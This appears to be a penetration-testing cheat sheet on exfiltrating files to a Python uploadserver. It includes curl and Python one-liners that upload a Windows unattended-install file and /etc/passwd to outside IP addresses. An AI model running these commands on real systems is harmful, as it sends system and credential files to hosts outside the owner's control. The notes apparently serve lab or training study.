# python-server-file-transfer

## Web uploads via python server

**Starting web server**

```
sudo python3 -m pip install --user uploadserver
```

**Upload a file (windows)**

```
curl -X POST -F "files=@unattended2.xml" http://10.10.16.13:8000/upload
```

## Use HTTPS server

#### Create a self-signed certificate

```
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
```

**Start web server**

```
mkdir https && cd https
```

```
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem
```

## Upload using python

`python3 -m uploadserver`

```
python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'
```
